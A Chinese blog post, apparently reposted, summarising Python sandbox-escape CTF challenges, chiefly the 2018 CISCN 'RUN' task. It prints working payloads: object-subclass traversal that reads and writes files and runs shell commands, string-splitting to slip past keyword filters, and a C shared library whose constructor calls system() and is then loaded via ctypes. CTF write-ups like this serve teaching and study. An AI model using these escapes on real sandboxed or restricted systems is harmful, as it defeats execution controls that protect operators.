首页 web安全,网络安全

这篇文章来自网络上的某位大佬

前言

总结一下各大赛事中的沙箱逃逸题,感觉还是很好玩的~

先说一下自己对于这种沙箱逃逸题的理解吧,关键在于绕过,一般就是逼你用一些特别的操作去绕过他ban掉的函数,得到flag

空说无意,我们直接来看比赛中的一些题目~

2018 ciscn(国赛)题RUN

它过滤了一些危险函数,比如:os、sys等等,但我们可以通过类的继承关系找到被ban掉的库,然后将它导入进来。比如:

().__class__.__bases__[0].__subclasses__()

从代码上我们比较好理解,就是从()找到它的父类也就是__bases__[0],而这个父类就是Python中的根类<type 'object'>,它里面有很多的子类,包括file等,这些子类中就有跟os、system等相关的方法,所以,我们可以从这些子类中找到自己需要的方法。

知道了上面的基础后,我们可以找到一些payload,比如:

//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

但这道题的突破点是在获得类的属性上,从网上找的payload中存在一些被ban掉的关键字,如func_globals中存在ls,这也是做题时卡着的地方。而这些都可以用__getattribute__进行突破

关于这里给出的最后一个可能的payload,我们来看一下其可获取的是什么?

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]

很明显可见eval,map等一些函数,根据这个payload,可知其对这些函数的使用方法为[‘function name’],简单本地做了一个测试,这是完全没有问题的。

本题最终给出payload:

().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['popen']('l'+'s').read()

这个payload提到了一个新的点linecache, 搜索一下很容易得到这是一个模块用于读取文件的,但os出现在这里是个什么情况?

python本地查看一下属性,,,好吧,真的有~

().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__

这里写图片描述

以上这部分writeup参考的@junay 的博客

在Github上,我又看到了@Xopowo队伍大师傅放出来的write up,师傅们提出了一种新思路,使用到so库

在().__class__.__bases__[0].__subclasses__()中发现有可用的类

<type 'file'>
<class 'ctypes.CDLL'>
<class 'ctypes.LibraryLoader'>

构造一个so库,列一下/home/ctf/下的文件

#include <stdio.h>  
void my_init(void) __attribute__((constructor)); 
void my_init(void)  
{  
    system("ls -la /home/ctf/ > /tmp/ls_home_ctf");
}  

将编译好的so直接二进制写入/tmp/bk.so

使用ctypes加载so

().__class__.__bases__[0].__subclasses__()[86](().__class__.__bases__[0].__subclasses__()[85]).LoadLibrary('/tmp/bk.so')



文章评论